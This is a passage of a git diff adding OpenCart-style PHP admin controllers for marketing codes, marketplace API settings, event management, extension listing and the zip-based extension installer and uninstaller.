+ $this->response->setOutput($this->load->view('marketing/marketing_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['marketing_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['marketing_id'])) {
+ $data['action'] = $this->url->link('marketing/marketing/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $this->request->get['marketing_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['marketing_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $marketing_info = $this->model_marketing_marketing->getMarketing($this->request->get['marketing_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['store'] = HTTP_CATALOG;
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($marketing_info)) {
+ $data['name'] = $marketing_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($marketing_info)) {
+ $data['description'] = $marketing_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($marketing_info)) {
+ $data['code'] = $marketing_info['code'];
+ } else {
+ $data['code'] = uniqid();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/marketing_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketing/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $marketing_info = $this->model_marketing_marketing->getMarketingByCode($this->request->post['code']);
+
+ if (!isset($this->request->get['marketing_id'])) {
+ if ($marketing_info) {
+ $this->error['code'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($marketing_info && ($this->request->get['marketing_id'] != $marketing_info['marketing_id'])) {
+ $this->error['code'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'marketing/marketing')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/api.php b/public/admin/controller/marketplace/api.php
new file mode 100644
index 0000000..d479016
--- /dev/null
+++ b/public/admin/controller/marketplace/api.php
@@ -0,0 +1,39 @@
+load->language('marketplace/api');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->response->setOutput($this->load->view('marketplace/api', $data));
+ }
+
+ public function save() {
+ $this->load->language('marketplace/api');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/api')) {
+ $json['error']['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['opencart_username']) {
+ $json['error']['username'] = $this->language->get('error_username');
+ }
+
+ if (!$this->request->post['opencart_secret']) {
+ $json['error']['secret'] = $this->language->get('error_secret');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('opencart', $this->request->post);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/event.php b/public/admin/controller/marketplace/event.php
new file mode 100644
index 0000000..153fae0
--- /dev/null
+++ b/public/admin/controller/marketplace/event.php
@@ -0,0 +1,260 @@
+load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ $this->getList();
+ }
+
+ public function enable() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->get['event_id']) && $this->validate()) {
+ $this->model_setting_event->enableEvent($this->request->get['event_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->get['event_id']) && $this->validate()) {
+ $this->model_setting_event->disableEvent($this->request->get['event_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('marketplace/event');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/event');
+
+ if (isset($this->request->post['selected']) && $this->validate()) {
+ foreach ($this->request->post['selected'] as $event_id) {
+ $this->model_setting_event->deleteEvent($event_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'code';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['delete'] = $this->url->link('marketplace/event/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['events'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $event_total = $this->model_setting_event->getTotalEvents();
+
+ $results = $this->model_setting_event->getEvents($filter_data);
+
+ foreach ($results as $result) {
+ $data['events'][] = array(
+ 'event_id' => $result['event_id'],
+ 'code' => $result['code'],
+ 'trigger' => $result['trigger'],
+ 'action' => $result['action'],
+ 'sort_order' => $result['sort_order'],
+ 'status' => $result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'enable' => $this->url->link('marketplace/event/enable', 'user_token=' . $this->session->data['user_token'] . '&event_id=' . $result['event_id'] . $url, true),
+ 'disable' => $this->url->link('marketplace/event/disable', 'user_token=' . $this->session->data['user_token'] . '&event_id=' . $result['event_id'] . $url, true),
+ 'enabled' => $result['status']
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_code'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+ $data['sort_status'] = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $event_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($event_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($event_total - $this->config->get('config_limit_admin'))) ? $event_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $event_total, ceil($event_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/event', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'marketplace/event')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/extension.php b/public/admin/controller/marketplace/extension.php
new file mode 100644
index 0000000..046fd10
--- /dev/null
+++ b/public/admin/controller/marketplace/extension.php
@@ -0,0 +1,57 @@
+load->language('marketplace/extension');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['type'])) {
+ $data['type'] = $this->request->get['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ $data['categories'] = array();
+
+ $files = glob(DIR_APPLICATION . 'controller/extension/extension/*.php', GLOB_BRACE);
+
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/extension/' . $extension, 'extension');
+
+ if ($this->user->hasPermission('access', 'extension/extension/' . $extension)) {
+ $files = glob(DIR_APPLICATION . 'controller/extension/' . $extension . '/*.php', GLOB_BRACE);
+
+ $data['categories'][] = array(
+ 'code' => $extension,
+ 'text' => $this->language->get('extension')->get('heading_title') . ' (' . count($files) .')',
+ 'href' => $this->url->link('extension/extension/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/extension', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketplace/install.php b/public/admin/controller/marketplace/install.php
new file mode 100644
index 0000000..0161d63
--- /dev/null
+++ b/public/admin/controller/marketplace/install.php
@@ -0,0 +1,520 @@
+load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Make sure the file name is stored in the session.
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_file');
+ } elseif (!is_file(DIR_UPLOAD . $this->session->data['install'] . '.tmp')) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_unzip');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/unzip', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function unzip() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_file');
+ } elseif (!is_file(DIR_UPLOAD . $this->session->data['install'] . '.tmp')) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ // Sanitize the filename
+ if (!$json) {
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ // Unzip the files
+ $zip = new ZipArchive();
+
+ if ($zip->open($file)) {
+ $zip->extractTo(DIR_UPLOAD . 'tmp-' . $this->session->data['install']);
+ $zip->close();
+ } else {
+ $json['error'] = $this->language->get('error_unzip');
+ }
+
+ // Remove Zip
+ unlink($file);
+
+ $json['text'] = $this->language->get('text_move');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/move', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function move() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ } elseif (!is_dir(DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $directory = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/';
+
+ if (is_dir($directory . 'upload/')) {
+ $files = array();
+
+ // Get a list of files ready to upload
+ $path = array($directory . 'upload/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ // A list of allowed directories to be written to
+ $allowed = array(
+ 'admin/controller/extension/',
+ 'admin/language/',
+ 'admin/model/extension/',
+ 'admin/view/image/',
+ 'admin/view/javascript/',
+ 'admin/view/stylesheet/',
+ 'admin/view/template/extension/',
+ 'catalog/controller/extension/',
+ 'catalog/language/',
+ 'catalog/model/extension/',
+ 'store/view/javascript/',
+ 'store/view/theme/',
+ 'system/config/',
+ 'system/library/',
+ 'image/catalog/'
+ );
+
+ // First we need to do some checks
+ foreach ($files as $file) {
+ $destination = str_replace('\\', '/', substr($file, strlen($directory . 'upload/')));
+
+ $safe = false;
+
+ foreach ($allowed as $value) {
+ if (strlen($destination) < strlen($value) && substr($value, 0, strlen($destination)) == $destination) {
+ $safe = true;
+
+ break;
+ }
+
+ if (strlen($destination) > strlen($value) && substr($destination, 0, strlen($value)) == $value) {
+ $safe = true;
+
+ break;
+ }
+ }
+
+ if ($safe) {
+ // Check if the copy location exists or not
+ if (substr($destination, 0, 5) == 'admin') {
+ $destination = DIR_APPLICATION . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 7) == 'catalog') {
+ $destination = DIR_CATALOG . substr($destination, 8);
+ }
+
+ if (substr($destination, 0, 5) == 'image') {
+ $destination = DIR_IMAGE . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 6) == 'system') {
+ $destination = DIR_SYSTEM . substr($destination, 7);
+ }
+ } else {
+ $json['error'] = sprintf($this->language->get('error_allowed'), $destination);
+
+ break;
+ }
+ }
+
+ if (!$json) {
+ $this->load->model('setting/extension');
+
+ foreach ($files as $file) {
+ $destination = str_replace('\\', '/', substr($file, strlen($directory . 'upload/')));
+
+ $path = '';
+
+ if (substr($destination, 0, 5) == 'admin') {
+ $path = DIR_APPLICATION . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 7) == 'catalog') {
+ $path = DIR_CATALOG . substr($destination, 8);
+ }
+
+ if (substr($destination, 0, 5) == 'image') {
+ $path = DIR_IMAGE . substr($destination, 6);
+ }
+
+ if (substr($destination, 0, 6) == 'system') {
+ $path = DIR_SYSTEM . substr($destination, 7);
+ }
+
+ if (is_dir($file) && !is_dir($path)) {
+ if (mkdir($path, 0777)) {
+ $this->model_setting_extension->addExtensionPath($extension_install_id, $destination);
+ }
+ }
+
+ if (is_file($file)) {
+ if (rename($file, $path)) {
+ $this->model_setting_extension->addExtensionPath($extension_install_id, $destination);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_xml');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/xml', 'user_token=' . $this->session->data['user_token'] . '&extension_install_id=' . $extension_install_id, true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function xml() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ } elseif (!is_dir(DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/')) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $file = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/install.xml';
+
+ if (is_file($file)) {
+ $this->load->model('setting/modification');
+
+ // If xml file just put it straight into the DB
+ $xml = file_get_contents($file);
+
+ if ($xml) {
+ try {
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($xml);
+
+ $name = $dom->getElementsByTagName('name')->item(0);
+
+ if ($name) {
+ $name = $name->nodeValue;
+ } else {
+ $name = '';
+ }
+
+ $code = $dom->getElementsByTagName('code')->item(0);
+
+ if ($code) {
+ $code = $code->nodeValue;
+
+ // Check to see if the modification is already installed or not.
+ $modification_info = $this->model_setting_modification->getModificationByCode($code);
+
+ if ($modification_info) {
+ $this->model_setting_modification->deleteModification($modification_info['modification_id']);
+ }
+ } else {
+ $json['error'] = $this->language->get('error_code');
+ }
+
+ $author = $dom->getElementsByTagName('author')->item(0);
+
+ if ($author) {
+ $author = $author->nodeValue;
+ } else {
+ $author = '';
+ }
+
+ $version = $dom->getElementsByTagName('version')->item(0);
+
+ if ($version) {
+ $version = $version->nodeValue;
+ } else {
+ $version = '';
+ }
+
+ $link = $dom->getElementsByTagName('link')->item(0);
+
+ if ($link) {
+ $link = $link->nodeValue;
+ } else {
+ $link = '';
+ }
+
+ if (!$json) {
+
+
+ $modification_data = array(
+ 'extension_install_id' => $extension_install_id,
+ 'name' => $name,
+ 'code' => $code,
+ 'author' => $author,
+ 'version' => $version,
+ 'link' => $link,
+ 'xml' => $xml,
+ 'status' => 1
+ );
+
+ $this->model_setting_modification->addModification($modification_data);
+ }
+ } catch(Exception $exception) {
+ $json['error'] = sprintf($this->language->get('error_exception'), $exception->getCode(), $exception->getMessage(), $exception->getFile(), $exception->getLine());
+ }
+ }
+ }
+ }
+
+ if (!$json) {
+ $json['text'] = $this->language->get('text_remove');
+
+ $json['next'] = str_replace('&', '&', $this->url->link('marketplace/install/remove', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function remove() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!isset($this->session->data['install'])) {
+ $json['error'] = $this->language->get('error_directory');
+ }
+
+ if (!$json) {
+ $directory = DIR_UPLOAD . 'tmp-' . $this->session->data['install'] . '/';
+
+ if (is_dir($directory)) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($directory);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (is_dir($directory)) {
+ rmdir($directory);
+ }
+ }
+
+ $file = DIR_UPLOAD . $this->session->data['install'] . '.tmp';
+
+ if (is_file($file)) {
+ unlink($file);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function uninstall() {
+ $this->load->language('marketplace/install');
+
+ $json = array();
+
+ if (isset($this->request->get['extension_install_id'])) {
+ $extension_install_id = $this->request->get['extension_install_id'];
+ } else {
+ $extension_install_id = 0;
+ }
+
+ if (!$this->user->hasPermission('modify', 'marketplace/install')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/extension');
+
+ $results = $this->model_setting_extension->getExtensionPathsByExtensionInstallId($extension_install_id);
+
+ rsort($results);
+
+ foreach ($results as $result) {
+ $source = '';
+
+ // Check if the copy location exists or not
+ if (substr($result['path'], 0, 5) == 'admin') {
+ $source = DIR_APPLICATION . substr($result['path'], 6);
+ }
+
+ if (substr($result['path'], 0, 7) == 'catalog') {
+ $source = DIR_CATALOG . substr($result['path'], 8);
+ }
+
+ if (substr($result['path'], 0, 5) == 'image') {
+ $source = DIR_IMAGE . substr($result['path'], 6);
+ }
+
+ if (substr($result['path'], 0, 14) == 'system/library') {
+ $source = DIR_SYSTEM . 'library/' . substr($result['path'], 15);
+ }
+
+ if (is_file($source)) {
+ unlink($source);
+ }
+
+ if (is_dir($source)) {
+ // Get a list of files ready to upload
+ $files = array();
+
+ $path = array($source);
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ // We have to use scandir function because glob will not pick up dot files.
+ foreach (array_diff(scandir($next), array('.', '..')) as $file) {
+ $file = $next . '/' . $file;
+
+ if (is_dir($file)) {
+ $path[] = $file;
+ }
+
+ $files[] = $file;
+ }
+ }
+
+ rsort($files);
+
+ foreach ($files as $file) {
+ if (is_file($file)) {
+ unlink($file);
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+
+ if (is_file($source)) {
+ unlink($source);
+ }
+
+ if (is_dir($source)) {
+ rmdir($source);
+ }
+ }
+
+ $this->model_setting_extension->deleteExtensionPath($result['extension_path_id']);
+ }
+
+ // Remove the install
+ $this->model_setting_extension->deleteExtensionInstall($extension_install_id);
+
+ // Remove any xml modifications
+ $this->load->model('setting/modification');
+
+ $this->model_setting_modification->deleteModificationsByExtensionInstallId($extension_install_id);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/marketplace/installer.php b/public/admin/controller/marketplace/installer.php
new file mode 100644
index 0000000..33971fa
--- /dev/null
+++ b/public/admin/controller/marketplace/installer.php
@@ -0,0 +1,172 @@
+load->language('marketplace/installer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketplace/installer', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketplace/installer', $data));
+ }
+
+ public function history() {
+ $this->load->language('marketplace/installer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('setting/extension');
+
+ $results = $this->model_setting_extension->getExtensionInstalls(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'extension_install_id' => $result['extension_install_id'],
+ 'filename' => $result['filename'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_setting_extension->getTotalExtensionInstalls();
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('marketplace/installer/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('marketplace/installer_history', $data));
+ }
+
+ public function upload() {
+ $this->load->language('marketplace/installer');
+
+ $json = array();
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'marketplace/installer')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ // Check if there is a install zip already there
+ $files = glob(DIR_UPLOAD . '*.tmp');
+
+ foreach ($files as $file) {
+ if (is_file($file) && (filectime($file) < (time() - 5))) {
+ unlink($file);
+ }
+
+ if (is_file($file)) {
+ $json['error'] = $this->language->get('error_install');
+
+ break;
+ }
+ }
+
+ // Check for any install directories
+ $directories = glob(DIR_UPLOAD . 'tmp-*');
+
